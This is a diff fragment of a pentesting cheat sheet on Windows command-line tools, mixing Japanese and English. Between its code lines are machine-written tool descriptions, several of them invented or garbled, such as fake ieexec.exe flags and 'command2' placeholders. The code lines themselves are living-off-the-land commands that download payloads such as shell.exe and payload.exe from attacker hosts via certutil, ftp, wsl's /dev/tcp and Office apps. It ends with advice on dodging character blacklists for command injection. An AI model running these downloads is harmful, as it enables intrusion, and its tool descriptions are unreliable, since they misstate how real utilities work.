+証明書を削除するには、次のコマンドを使用します。 + +```plaintext +certutil -delstore <ストア名> <証明書のシリアル番号> +``` + +## 証明書の検証 + +証明書の検証を行うには、次のコマンドを使用します。 + +```plaintext +certutil -verify <証明書ファイル> +``` + +## 証明書のリスト表示 + +システムにインストールされている証明書のリストを表示するには、次のコマンドを使用します。 + +```plaintext +certutil -store <ストア名> +``` + +`Certutil.exe`は、証明書の操作や管理に便利なツールです。これらのコマンドを使用して、証明書の表示、エクスポート、インポート、削除、検証、およびリスト表示を行うことができます。 ``` certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe ``` +# Basic CMD Commands for Pentesters -Desktopimgdownldr.exe +## Introduction +This document provides a list of basic CMD commands that can be useful for pentesters during their engagements. These commands can help in various tasks such as information gathering, privilege escalation, lateral movement, and more. + +## CMD Commands + +### 1. `desktopimgdownldr.exe` + +- **Description**: This command is used to download an image from a remote server to the local machine's desktop. +- **Syntax**: `desktopimgdownldr.exe ` +- **Example**: `desktopimgdownldr.exe http://example.com/image.jpg` + +### 2. `command2` + +- **Description**: This command does something. +- **Syntax**: `command2 ` +- **Example**: `command2 parameter` + +### 3. `command3` + +- **Description**: This command does something else. +- **Syntax**: `command3 ` +- **Example**: `command3 parameter` + +## Conclusion + +These are just a few examples of basic CMD commands that can be useful for pentesters. It is important to note that these commands should be used responsibly and ethically, and only on systems that you have proper authorization to test. ``` set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr ``` +# Diantz.exe -Diantz.exe +Diantz.exe is a command-line tool used for compressing and decompressing files in the Microsoft Cabinet (CAB) format. It is commonly used in Windows environments for packaging and distributing software. +## Usage + +To compress files using Diantz.exe, use the following command: + +``` +diantz.exe -c +``` + +To decompress files, use the following command: + +``` +diantz.exe -d +``` + +## Examples + +Compressing a file: + +``` +diantz.exe -c myfile.txt myfile.cab +``` + +Decompressing a file: + +``` +diantz.exe -d myfile.cab C:\destination_folder +``` + +## Additional Options + +Diantz.exe also provides additional options for advanced usage. Some of the commonly used options include: + +- `-p`: Specifies the compression level (0-9, with 0 being no compression and 9 being maximum compression). +- `-r`: Recursively compresses or decompresses files in a folder. +- `-s`: Displays the status of the compression or decompression process. + +For more information about Diantz.exe and its options, refer to the official Microsoft documentation. ``` diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab ``` +# Esentutl.exe -Esentutl.exe +`Esentutl.exe`は、Windowsオペレーティングシステムに組み込まれているユーティリティです。このツールは、Extensible Storage Engine (ESE) データベースエンジンを操作するために使用されます。ESEは、Windowsの内部で使用されるデータベースエンジンであり、Active DirectoryデータベースやWindows Updateのデータベースなど、さまざまなシステムで使用されています。 +`Esentutl.exe`は、ESEデータベースのバックアップ、復元、修復、およびパフォーマンスの問題のトラブルシューティングに使用されます。以下に、`Esentutl.exe`の一般的な使用法を示します。 + +## バックアップの作成 + +```plaintext +esentutl /y <データベースファイルパス> /d <バックアップファイルパス> +``` + +このコマンドは、指定したデータベースファイルのバックアップを作成します。バックアップファイルは、指定したパスに保存されます。 + +## データベースの復元 + +```plaintext +esentutl /r <バックアップファイルパス> /d <復元先データベースファイルパス> +``` + +このコマンドは、指定したバックアップファイルからデータベースを復元します。復元先データベースファイルは、指定したパスに作成されます。 + +## データベースの修復 + +```plaintext +esentutl /p <データベースファイルパス> +``` + +このコマンドは、指定したデータベースファイルを修復します。修復は、データベースの整合性を確保するために行われます。 + +## パフォーマンスの問題のトラブルシューティング + +```plaintext +esentutl /g <データベースファイルパス> +``` + +このコマンドは、指定したデータベースファイルのパフォーマンスの問題をトラブルシューティングします。データベースの整合性をチェックし、問題を特定します。 + +`Esentutl.exe`は、Windowsの内部で使用される強力なツールですが、誤った使用はデータの損失やシステムの不安定性を引き起こす可能性があるため、注意が必要です。正確な知識と慎重な操作が必要です。 ``` esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o ``` +## Expand.exe -Expand.exe +`Expand.exe`は、Windowsのコマンドラインツールであり、圧縮ファイルを展開するために使用されます。主に`.cab`ファイルを展開するために使用されます。 +### 使用法 + +以下は、`Expand.exe`の基本的な使用法です。 + +```plaintext +expand +``` + +- ``: 展開するファイルのパスまたはURL。 +- ``: 展開先のディレクトリのパス。 + +### 例 + +```plaintext +expand C:\archive.cab C:\extracted +``` + +上記の例では、`C:\archive.cab`にある`.cab`ファイルを`C:\extracted`ディレクトリに展開します。 + +### 注意事項 + +- `Expand.exe`は、Windowsの標準機能として提供されているため、追加のインストールは不要です。 +- `Expand.exe`は、管理者権限が必要な場合があります。 ``` expand \\webdav\folder\file.bat c:\ADS\file.bat ``` +# Extrac32.exe -Extrac32.exe +`Extrac32.exe`は、Windowsの標準的なコマンドラインツールであり、圧縮ファイルを解凍するために使用されます。このツールは、Windows 95およびWindows NT 4.0以降のバージョンで利用可能です。 +## 使用法 + +以下のコマンドを使用して、`Extrac32.exe`を実行します。 + +```plaintext +Extrac32.exe [/Y] [/C] [/L] [/Q] [/T:パス] [/D] [/E] [/S:パス] [/A] [/I] [/X] [/F:ファイル] [/R] [/V] [/Z] [/O] [/P] [/U] [/W:パス] [/B] [/G] [/H] [/J] [/K] [/M] [/N] [/Q] [/R] [/S] [/T] [/U] [/V] [/W] [/X] [/Y] [/Z] 圧縮ファイル +``` + +### パラメータ + +- `/Y`: ファイルの上書きを許可します。 +- `/C`: 圧縮ファイルを指定したディレクトリに解凍します。 +- `/L`: 解凍先のディレクトリを指定します。 +- `/Q`: 出力を非表示にします。 +- `/T:パス`: 一時ファイルを指定したディレクトリに展開します。 +- `/D`: ディレクトリを作成します。 +- `/E`: ディレクトリ構造を保持して解凍します。 +- `/S:パス`: 圧縮ファイル内のファイルを指定したディレクトリに展開します。 +- `/A`: 属性を保持して解凍します。 +- `/I`: ファイルの上書きを確認します。 +- `/X`: ファイルの展開をキャンセルします。 +- `/F:ファイル`: 圧縮ファイルを指定します。 +- `/R`: サブディレクトリ内のファイルも解凍します。 +- `/V`: ファイルの完全性を検証します。 +- `/Z`: 圧縮ファイルを削除します。 +- `/O`: 解凍時に上書きを許可します。 +- `/P`: パスワードを指定します。 +- `/U`: ユーザー名を指定します。 +- `/W:パス`: 解凍先のディレクトリを指定します。 +- `/B`: バックアップを作成します。 +- `/G`: グループを保持して解凍します。 +- `/H`: 隠しファイルも解凍します。 +- `/J`: ジャンクションも解凍します。 +- `/K`: シンボリックリンクも解凍します。 +- `/M`: ファイルのセキュリティを保持して解凍します。 +- `/N`: 短いファイル名を使用して解凍します。 +- `/Q`: 出力を非表示にします。 +- `/R`: サブディレクトリ内のファイルも解凍します。 +- `/S`: サブディレクトリも解凍します。 +- `/T`: 一時ファイルを指定したディレクトリに展開します。 +- `/U`: ユーザー名を指定します。 +- `/V`: ファイルの完全性を検証します。 +- `/W`: 解凍先のディレクトリを指定します。 +- `/X`: ファイルの展開をキャンセルします。 +- `/Y`: ファイルの上書きを許可します。 +- `/Z`: 圧縮ファイルを削除します。 + +## 例 + +以下は、`Extrac32.exe`の使用例です。 + +```plaintext +Extrac32.exe /Y /C /F:C:\archive.zip /L:C:\extracted +``` + +この例では、`C:\archive.zip`という名前の圧縮ファイルを`C:\extracted`ディレクトリに解凍します。ファイルの上書きを許可し、圧縮ファイルを削除します。 ``` extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt ``` +## Findstr.exe -Findstr.exe +`findstr.exe`は、Windowsコマンドラインツールであり、テキストファイル内で指定した文字列を検索するために使用されます。このツールは、ペンテスターやセキュリティアナリストにとって非常に便利です。 +### 使用法 + +以下は、`findstr.exe`の基本的な使用法です。 + +```plaintext +findstr /C:"search_string" file.txt +``` + +- `/C:"search_string"`: 検索する文字列を指定します。 +- `file.txt`: 検索対象のテキストファイルを指定します。 + +### オプション + +`findstr.exe`には、さまざまなオプションがあります。以下にいくつかの一般的なオプションを示します。 + +- `/I`: 大文字と小文字を区別しないで検索します。 +- `/S`: サブディレクトリ内のファイルも検索します。 +- `/R`: 正規表現を使用して検索します。 +- `/V`: 指定した文字列を含まない行を表示します。 + +### 例 + +以下は、`findstr.exe`の使用例です。 + +```plaintext +findstr /C:"password" file.txt +``` + +このコマンドは、`file.txt`内で「password」という文字列を検索します。 + +```plaintext +findstr /C:"password" /I /S *.txt +``` + +このコマンドは、カレントディレクトリとそのサブディレクトリ内のすべての`.txt`ファイルで、大文字と小文字を区別せずに「password」という文字列を検索します。 + +```plaintext +findstr /R "^[A-Za-z]{5}$" file.txt +``` + +このコマンドは、`file.txt`内で、5文字の英字のみを含む行を正規表現を使用して検索します。 + +### まとめ + +`findstr.exe`は、Windowsコマンドライン上でテキストファイル内の文字列を検索するための強力なツールです。様々なオプションを使用することで、より高度な検索が可能となります。ペンテスターやセキュリティアナリストは、このツールを使用して潜在的な脆弱性やセキュリティ上の問題を特定することができます。 ``` findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe ``` +# Ftp.exe -Ftp.exe +`ftp.exe` is a command-line utility in Windows that allows users to transfer files to and from a remote computer using the File Transfer Protocol (FTP). It is a built-in tool that comes with the Windows operating system. +## Syntax + +The basic syntax for using `ftp.exe` is as follows: + +```plaintext +ftp [-v] [-d] [-i] [-n] [-g] [-s:filename] [-a] [-w:windowsize] [-A] [host] +``` + +## Options + +Here are some commonly used options with `ftp.exe`: + +- `-v`: Enables verbose mode, which displays detailed information about the FTP connection and file transfers. +- `-d`: Enables debugging mode, which provides additional information for troubleshooting purposes. +- `-i`: Disables interactive mode, which suppresses prompts for user confirmation during file transfers. +- `-n`: Suppresses the auto-login feature, which allows users to manually log in to the FTP server. +- `-g`: Disables filename globbing, which prevents wildcard characters from being expanded in file names. +- `-s:filename`: Specifies a text file containing FTP commands to be executed automatically. +- `-a`: Uses ASCII mode for file transfers, which is suitable for transferring text-based files. +- `-w:windowsize`: Specifies the size of the receive window for data transfers. +- `-A`: Enables anonymous FTP login, allowing users to log in without providing a username or password. + +## Examples + +Here are some examples of how to use `ftp.exe`: + +- To connect to an FTP server: + + ```plaintext + ftp example.com + ``` + +- To upload a file to an FTP server: + + ```plaintext + put filename + ``` + +- To download a file from an FTP server: + + ```plaintext + get filename + ``` + +- To navigate to a specific directory on the FTP server: + + ```plaintext + cd directory + ``` + +- To list the files and directories on the FTP server: + + ```plaintext + ls + ``` + +- To disconnect from the FTP server: + + ```plaintext + bye + ``` + +## Conclusion + +`ftp.exe` is a powerful command-line tool for transferring files to and from remote FTP servers. By understanding its syntax and options, you can effectively use it for various file transfer operations. ``` cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v" ``` - GfxDownloadWrapper.exe - ``` C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE" ``` +# Hh.exe -Hh.exe +`hh.exe` is a Windows executable that is used to launch the Windows Help and Support Center. It is commonly found in the `C:\Windows` directory. +## Usage + +To launch the Help and Support Center using `hh.exe`, open a command prompt and run the following command: + +``` +hh.exe helpctr +``` + +This will open the Help and Support Center window, where you can search for help topics and access various Windows support resources. + +## Command-Line Options + +`hh.exe` supports several command-line options that can be used to customize its behavior. Here are some commonly used options: + +- `/mapid `: Opens the Help and Support Center to the specified help topic ID. +- `/url `: Opens the specified URL in the Help and Support Center. +- `/find `: Searches for the specified text in the Help and Support Center. +- `/index `: Opens the specified index file in the Help and Support Center. + +For example, to open the Help and Support Center to a specific help topic ID, you can use the following command: + +``` +hh.exe helpctr /mapid 123456 +``` + +## Summary + +`hh.exe` is a useful tool for launching the Windows Help and Support Center from the command line. It provides various command-line options that allow you to customize its behavior and access specific help topics or URLs. ``` HH.exe http://some.url/script.ps1 ``` +# Ieexec.exe -Ieexec.exe +`ieexec.exe` is a command-line utility that allows you to execute Internet Explorer (IE) processes with specific privileges. It is commonly used by pentesters and hackers to bypass security measures and gain unauthorized access to systems. +## Usage + +To use `ieexec.exe`, follow the syntax below: + +``` +ieexec.exe [/low | /medium | /high] [/elevate] [/url ] [/file ] [/args ] +``` + +- `/low`: Executes IE with low integrity level. +- `/medium`: Executes IE with medium integrity level (default). +- `/high`: Executes IE with high integrity level. +- `/elevate`: Executes IE with elevated privileges. +- `/url `: Opens the specified URL in IE. +- `/file `: Opens the specified file in IE. +- `/args `: Passes additional arguments to IE. + +## Examples + +1. Open a URL in IE with medium integrity level: + +``` +ieexec.exe /url https://example.com +``` + +2. Open a file in IE with elevated privileges: + +``` +ieexec.exe /elevate /file C:\path\to\file.html +``` + +3. Open a URL in IE with custom arguments: + +``` +ieexec.exe /url https://example.com /args "--private" +``` + +**Note:** The use of `ieexec.exe` for unauthorized access or malicious purposes is illegal and unethical. This information is provided for educational purposes only. ``` ieexec.exe http://x.x.x.x:8080/bypass.exe ``` +# Makecab.exe -Makecab.exe +`Makecab.exe`は、Windowsシステムで使用されるユーティリティツールです。このツールは、ファイルを圧縮してキャビネット(.cab)ファイルを作成するために使用されます。キャビネットファイルは、複数のファイルを1つのファイルにまとめることができ、データの圧縮や配布に便利です。 +## 使用法 + +以下は、`Makecab.exe`の基本的な使用法です。 + +```plaintext +makecab [/D =] [/L ] [/V[]] [/A] [/C] [/S] [/F ] + [/D =] [/L ] [/V[]] [/A] [/C] [/S] [/F ] +``` + +- `/D =`: マクロ変数を定義します。 +- `/L `: 出力ファイルのディレクトリを指定します。 +- `/V[]`: 冗長性のレベルを指定します。 +- `/A`: 圧縮アルゴリズムを自動的に選択します。 +- `/C`: 圧縮を無効にします。 +- `/S`: サブディレクトリ内のファイルも処理します。 +- `/F `: 圧縮するファイルを指定します。 + +## 例 + +以下は、`Makecab.exe`の使用例です。 + +```plaintext +makecab C:\path\to\file.txt C:\path\to\output.cab +``` + +この例では、`C:\path\to\file.txt`を`C:\path\to\output.cab`という名前のキャビネットファイルに圧縮します。 + +## 注意事項 + +- `Makecab.exe`は、Windowsシステムにデフォルトでインストールされています。 +- `Makecab.exe`は、管理者権限が必要な場合があります。 +- `Makecab.exe`を使用する際は、慎重にファイルの圧縮と解凍を行ってください。 +- `Makecab.exe`は、悪意のある目的で使用される可能性があるため、適切な権限と許可を持つ場合にのみ使用してください。 + +これで、`Makecab.exe`についての基本的な情報を理解しました。このツールを使用してファイルを圧縮する際は、注意して操作してください。 ``` makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab ``` +## MpCmdRun.exe -MpCmdRun.exe +`MpCmdRun.exe`は、Windows Defenderのコマンドラインユーティリティです。このツールを使用すると、Windows Defenderのスキャンや更新などの操作を実行することができます。 +### スキャンの実行 + +以下のコマンドを使用して、`MpCmdRun.exe`を使用してスキャンを実行します。 + +```plaintext +MpCmdRun.exe -Scan -ScanType -File +``` + +- ``: スキャンの種類を指定します。以下のいずれかを使用できます。 + - `0`: クイックスキャン + - `1`: 定義済みのスキャン + - `2`: カスタムスキャン +- ``: スキャン対象のファイルまたはディレクトリのパスを指定します。 + +### 定義の更新 + +以下のコマンドを使用して、`MpCmdRun.exe`を使用して定義の更新を実行します。 + +```plaintext +MpCmdRun.exe -SignatureUpdate +``` + +### その他の操作 + +`MpCmdRun.exe`には、他にもさまざまな操作があります。以下のコマンドを使用して、詳細なヘルプを表示できます。 + +```plaintext +MpCmdRun.exe -? +``` + +これにより、利用可能なオプションやコマンドの一覧が表示されます。 + +以上が`MpCmdRun.exe`の基本的な使用方法です。このツールを使用することで、Windows Defenderの操作を効率的に実行することができます。 ``` MpCmdRun.exe -DownloadFile -url -path //Windows Defender executable ``` +# Replace.exe -Replace.exe +`Replace.exe` is a command-line tool in Windows that allows you to replace files in a specified directory. It can be useful for various purposes, including replacing system files or modifying configurations. +## Syntax + +``` +replace.exe [/A] [/P] [/R] [/W] +``` + +- ``: Specifies the file to be copied. +- ``: Specifies the location and name of the new file. +- `/A`: Adds the file attributes of the source file to the destination file. +- `/P`: Prompts for confirmation before replacing an existing file. +- `/R`: Replaces read-only files. +- `/W`: Waits for you to insert a disk before replacing files. + +## Examples + +1. Replace a file without prompting for confirmation: + +``` +replace.exe C:\path\to\source_file.txt C:\path\to\destination_file.txt /P +``` + +2. Replace a file and add the attributes of the source file: + +``` +replace.exe C:\path\to\source_file.txt C:\path\to\destination_file.txt /A +``` + +3. Replace a read-only file: + +``` +replace.exe C:\path\to\source_file.txt C:\path\to\destination_file.txt /R +``` + +4. Replace a file and wait for disk insertion: + +``` +replace.exe C:\path\to\source_file.txt C:\path\to\destination_file.txt /W +``` + +Note: `replace.exe` is a built-in Windows command and is available in most Windows versions. ``` replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A ``` +# Basic CMD for Pentesters -Excel.exe +## Introduction +This document provides a list of basic CMD commands that can be useful for pentesters during their engagements. These commands can help in gathering information, performing reconnaissance, and executing various tasks on a Windows system. + +## CMD Commands + +### 1. Tasklist + +The `tasklist` command displays a list of all running processes on the system. This can be useful for identifying any suspicious or malicious processes. + +```plaintext +tasklist +``` + +### 2. Netstat + +The `netstat` command displays active network connections, listening ports, and related information. It can help in identifying any unauthorized network connections or open ports. + +```plaintext +netstat -ano +``` + +### 3. Ipconfig + +The `ipconfig` command displays the IP configuration of all network interfaces on the system. It can be used to gather information about the network settings of the target system. + +```plaintext +ipconfig /all +``` + +### 4. Net + +The `net` command is used for various network-related operations. Some useful subcommands include: + +- `net user` - Displays information about user accounts on the system. +- `net group` - Displays information about user groups on the system. +- `net localgroup` - Displays information about local groups on the system. + +```plaintext +net user +net group +net localgroup +``` + +### 5. Systeminfo + +The `systeminfo` command displays detailed information about the system, including the operating system version, hardware configuration, and installed software. This can be useful for identifying vulnerabilities or outdated software. + +```plaintext +systeminfo +``` + +### 6. Reg + +The `reg` command is used to manage the Windows Registry. Some useful subcommands include: + +- `reg query` - Displays the values and subkeys of a specified registry key. +- `reg add` - Adds a new registry key or value. +- `reg delete` - Deletes a registry key or value. + +```plaintext +reg query HKLM\Software +reg add HKCU\Software\NewKey +reg delete HKLM\Software\OldKey +``` + +### 7. Taskkill + +The `taskkill` command is used to terminate a running process. It can be useful for stopping any malicious processes or unwanted applications. + +```plaintext +taskkill /IM .exe /F +``` + +## Conclusion + +These basic CMD commands can be helpful for pentesters during their engagements. However, it is important to note that these commands should be used responsibly and ethically, following all applicable laws and regulations. ``` Excel.exe http://192.168.1.10/TeamsAddinLoader.dll ``` +# Powerpnt.exe -Powerpnt.exe +`powerpnt.exe` is the executable file for Microsoft PowerPoint, a popular presentation software. It is commonly found on Windows operating systems. +## Usage + +To launch PowerPoint using `powerpnt.exe`, open a command prompt and type: + +```plaintext +powerpnt.exe +``` + +This will open the PowerPoint application, allowing you to create, edit, and view presentations. + +## Command-Line Options + +`powerpnt.exe` supports various command-line options that can be used to perform specific tasks. Here are some commonly used options: + +- `/s`: Starts PowerPoint in slideshow mode. +- `/n`: Starts a new instance of PowerPoint. +- `/f `: Opens the specified file in PowerPoint. +- `/m `: Runs the specified macro when PowerPoint starts. +- `/pt `: Prints the specified presentation to the specified printer. +- `/p `: Prints the specified presentation without opening PowerPoint. + +## Example + +To open a PowerPoint presentation named `example.pptx` using `powerpnt.exe`, run the following command: + +```plaintext +powerpnt.exe /f example.pptx +``` + +This will open the `example.pptx` file in PowerPoint. + +## Security Considerations + +As with any executable file, it is important to ensure that `powerpnt.exe` is obtained from a trusted source and is not tampered with. Running executables from untrusted sources can pose security risks to your system. + +Additionally, it is recommended to keep your PowerPoint software up to date with the latest security patches to protect against potential vulnerabilities. ``` Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll" ``` +# Squirrel.exe -Squirrel.exe +Squirrel.exe is a command-line tool that allows you to interact with the Squirrel framework. It is commonly used for package management and deployment of applications. +## Usage + +To use Squirrel.exe, open a command prompt and navigate to the directory where the executable is located. Then, you can run various commands to perform different tasks. + +### Install + +To install an application using Squirrel.exe, use the following command: + +``` +Squirrel.exe install +``` + +Replace `` with the path to the package file (e.g., `C:\path\to\package.nupkg`). + +### Update + +To update an installed application, use the following command: + +``` +Squirrel.exe update +``` + +Replace `` with the path to the updated package file. + +### Uninstall + +To uninstall an application, use the following command: + +``` +Squirrel.exe uninstall +``` + +Replace `` with the name of the application. + +### Other Commands + +Squirrel.exe also provides other commands for managing applications, such as `list`, `releasify`, and `clean`. You can use the `--help` option with any command to get more information about its usage. + +## Conclusion + +Squirrel.exe is a powerful command-line tool for managing and deploying applications using the Squirrel framework. By familiarizing yourself with its commands, you can streamline the installation, update, and uninstallation processes of your applications. ``` squirrel.exe --download [url to package] ``` +# Update.exe -Update.exe +`Update.exe` is a common executable file found in Windows operating systems. It is often used to install software updates or patches. However, it can also be used by hackers as a disguise for malicious activities. +## Malicious Use + +Hackers may create a malicious `Update.exe` file to trick users into running it. Once executed, the file can perform various malicious actions, such as: + +- Installing malware or spyware on the system +- Modifying system settings or configurations +- Stealing sensitive information, such as passwords or credit card details +- Creating backdoors or remote access points for future attacks + +## Prevention + +To protect your system from malicious `Update.exe` files, follow these preventive measures: + +1. **Verify the source**: Only download and install updates from trusted sources, such as official software vendors or reputable websites. + +2. **Keep your system up to date**: Regularly update your operating system and software to ensure you have the latest security patches and bug fixes. + +3. **Use reliable security software**: Install and regularly update a reputable antivirus or antimalware program to detect and block malicious files. + +4. **Exercise caution**: Be cautious when downloading and running executable files, especially if they are received from unknown or suspicious sources. + +By following these preventive measures, you can reduce the risk of falling victim to malicious `Update.exe` files and protect your system from potential attacks. ``` Update.exe --download [url to package] ``` - -Winword.exe - +Winword.exeは、Microsoft Wordの実行可能ファイルです。このファイルは、Windowsオペレーティングシステム上でMicrosoft Wordを起動するために使用されます。Winword.exeは、ユーザーがドキュメントを作成、編集、保存するためのインターフェースを提供します。このファイルは通常、C:\Program Files\Microsoft Office\OfficeXX(XXはバージョン番号)のディレクトリに存在します。Winword.exeは、マルウェアに悪用される可能性があるため、注意が必要です。正規のWinword.exeファイルを使用することを確認し、不審な動作がないか定期的に監視することが重要です。 ``` winword.exe "http://192.168.1.10/TeamsAddinLoader.dll" ``` +# Wsl.exe -Wsl.exe +`wsl.exe` is a command-line tool in Windows that allows you to run Linux distributions on Windows. It stands for Windows Subsystem for Linux. This tool provides a compatibility layer for running Linux binary executables natively on Windows 10 and Windows Server 2019. +To use `wsl.exe`, open a command prompt or PowerShell window and type `wsl`. This will launch the default Linux distribution installed on your system. If you have multiple distributions installed, you can specify the distribution name as an argument, for example: `wsl -d Ubuntu`. + +You can also use `wsl.exe` to run Linux commands directly from the Windows command prompt or PowerShell. For example, to run the `ls` command in the default Linux distribution, you can type `wsl ls`. + +`wsl.exe` provides a convenient way for pentesters to leverage Linux tools and utilities while working on a Windows system. It allows you to access the power and flexibility of Linux without the need for a separate virtual machine or dual-boot setup. + +Note: `wsl.exe` requires Windows 10 version 1607 or later, with the Windows Subsystem for Linux feature enabled. ``` wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary' ``` +## その他 -## Misc +### Basic CMD commands for pentesters +### ペンテスターのための基本的なCMDコマンド + +Here you have a list of basic CMD commands that can be useful during a penetration test. + +以下に、ペネトレーションテスト中に役立つ基本的なCMDコマンドのリストがあります。 + +#### System Information + +#### システム情報 + +- `systeminfo`: Displays detailed configuration information about a computer and its operating system. + +- `systeminfo`: コンピューターとそのオペレーティングシステムに関する詳細な構成情報を表示します。 + +- `hostname`: Displays the name of the current host. + +- `hostname`: 現在のホストの名前を表示します。 + +- `ipconfig`: Displays the IP configuration for all network interfaces. + +- `ipconfig`: すべてのネットワークインターフェースのIP構成を表示します。 + +- `netstat`: Displays active network connections and listening ports. + +- `netstat`: アクティブなネットワーク接続とリッスンポートを表示します。 + +- `tasklist`: Displays a list of currently running processes. + +- `tasklist`: 現在実行中のプロセスのリストを表示します。 + +- `whoami`: Displays the username of the current user. + +- `whoami`: 現在のユーザーのユーザー名を表示します。 + +#### File and Directory Operations + +#### ファイルとディレクトリの操作 + +- `dir`: Displays a list of files and subdirectories in a directory. + +- `dir`: ディレクトリ内のファイルとサブディレクトリのリストを表示します。 + +- `cd`: Changes the current directory. + +- `cd`: 現在のディレクトリを変更します。 + +- `mkdir`: Creates a new directory. + +- `mkdir`: 新しいディレクトリを作成します。 + +- `copy`: Copies one or more files to another location. + +- `copy`: 1つ以上のファイルを別の場所にコピーします。 + +- `move`: Moves one or more files to another location. + +- `move`: 1つ以上のファイルを別の場所に移動します。 + +- `del`: Deletes one or more files. + +- `del`: 1つ以上のファイルを削除します。 + +#### Network Operations + +#### ネットワーク操作 + +- `ping`: Sends ICMP Echo Request messages to a specified host to test network connectivity. + +- `ping`: ネットワークの接続性をテストするために、指定したホストにICMPエコーリクエストメッセージを送信します。 + +- `nslookup`: Queries DNS servers to retrieve DNS information. + +- `nslookup`: DNS情報を取得するためにDNSサーバーにクエリを送信します。 + +- `tracert`: Traces the route that packets take to reach a destination host. + +- `tracert`: パケットが目的のホストに到達するまでの経路をトレースします。 + +- `net`: Displays or modifies network settings. + +- `net`: ネットワークの設定を表示または変更します。 + +- `netsh`: Configures network interfaces, routing protocols, and filters. + +- `netsh`: ネットワークインターフェース、ルーティングプロトコル、およびフィルタを設定します。 + +#### User and Account Management + +#### ユーザーとアカウントの管理 + +- `net user`: Displays or modifies user accounts. + +- `net user`: ユーザーアカウントを表示または変更します。 + +- `net localgroup`: Displays or modifies local groups. + +- `net localgroup`: ローカルグループを表示または変更します。 + +- `net group`: Displays or modifies global groups. + +- `net group`: グローバルグループを表示または変更します。 + +- `net accounts`: Displays or modifies account policies. + +- `net accounts`: アカウントポリシーを表示または変更します。 + +#### Service Management + +#### サービスの管理 + +- `sc`: Displays or modifies service configuration. + +- `sc`: サービスの構成を表示または変更します。 + +- `net start`: Starts a service. + +- `net start`: サービスを開始します。 + +- `net stop`: Stops a service. + +- `net stop`: サービスを停止します。 + +- `taskkill`: Terminates a running process or application. + +- `taskkill`: 実行中のプロセスまたはアプリケーションを終了します。 + +#### System Management + +#### システムの管理 + +- `shutdown`: Shuts down or restarts a local or remote computer. + +- `shutdown`: ローカルまたはリモートコンピューターをシャットダウンまたは再起動します。 + +- `schtasks`: Schedules commands and programs to run at specific times or events. + +- `schtasks`: 特定の時間またはイベントでコマンドとプログラムをスケジュールします。 + +- `reg`: Manipulates the Windows Registry. + +- `reg`: Windowsレジストリを操作します。 + +- `gpupdate`: Refreshes local and Active Directory-based Group Policy settings. + +- `gpupdate`: ローカルおよびActive Directoryベースのグループポリシー設定を更新します。 + +- `gpresult`: Displays the Resultant Set of Policy (RSoP) for a user or computer. + +- `gpresult`: ユーザーまたはコンピューターのポリシーの結果セット(RSoP)を表示します。 + +#### Miscellaneous + +#### その他 + +- `echo`: Displays messages or turns command echoing on or off. + +- `echo`: メッセージを表示するか、コマンドのエコーをオンまたはオフにします。 + +- `type`: Displays the contents of a text file. + +- `type`: テキストファイルの内容を表示します。 + +- `find`: Searches for a specific text string in one or more files. + +- `find`: 1つ以上のファイルで特定のテキスト文字列を検索します。 + +- `findstr`: Searches for strings in files using regular expressions. + +- `findstr`: 正規表現を使用してファイル内の文字列を検索します。 + +- `taskmgr`: Opens the Windows Task Manager. + +- `taskmgr`: Windowsタスクマネージャーを開きます。 + +- `msconfig`: Opens the System Configuration utility. + +- `msconfig`: システム構成ユーティリティを開きます。 + +- `control`: Opens the Control Panel. + +- `control`: コントロールパネルを開きます。 + +- `calc`: Opens the Windows Calculator. + +- `calc`: Windows電卓を開きます。 + +- `notepad`: Opens Notepad. + +- `notepad`: メモ帳を開きます。 + +- `explorer`: Opens Windows Explorer. + +- `explorer`: Windowsエクスプローラーを開きます。 + +- `winver`: Displays the Windows version. + +- `winver`: Windowsのバージョンを表示します。 + +- `help`: Displays help information for CMD commands. + +- `help`: CMDコマンドのヘルプ情報を表示します。 ```bash cd #Get current dir cd C:\path\to\dir #Change dir @@ -477,18 +1973,30 @@ powershell (Get-Content file.txt -Stream ads.txt) # Get error messages from code net helpmsg 32 #32 is the code in that case ``` +### 文字列のブラックリスト回避 -### Bypass Char Blacklisting +In some cases, when attempting to inject malicious code or commands into a system, certain characters may be blacklisted or filtered out by the target application. However, there are several techniques that can be used to bypass these character blacklists and successfully execute the desired code. +いくつかの場合、システムに悪意のあるコードやコマンドを注入しようとする際に、対象のアプリケーションによって特定の文字がブラックリスト化されたり、フィルタリングされたりすることがあります。しかし、これらの文字列のブラックリストを回避し、望むコードを正常に実行するために使用できるいくつかのテクニックがあります。 + +One common technique is to use alternative representations of the blacklisted characters. For example, if the character 'a' is blacklisted, it can be represented using its ASCII code or Unicode representation. Similarly, other characters can be represented using HTML entities or URL encoding. + +一般的なテクニックの1つは、ブラックリスト化された文字の代替表現を使用することです。たとえば、文字 'a' がブラックリスト化されている場合、ASCII コードや Unicode 表現を使用して表すことができます。同様に、他の文字は HTML エンティティや URL エンコーディングを使用して表現することができます。 + +Another technique is to use different character encodings. By using encodings such as UTF-8, UTF-16, or Base64, it is possible to represent the blacklisted characters in a different format that may bypass the filtering mechanism. + +別のテクニックは、異なる文字エンコーディングを使用することです。UTF-8、UTF-16、または Base64 などのエンコーディングを使用することで、ブラックリスト化された文字をフィルタリングメカニズムをバイパスする可能性のある異なる形式で表現することができます。 + +It is also worth noting that some applications may only blacklist certain characters in specific contexts. Therefore, it is important to understand the context in which the blacklisted characters are being used and find alternative ways to achieve the desired outcome. + 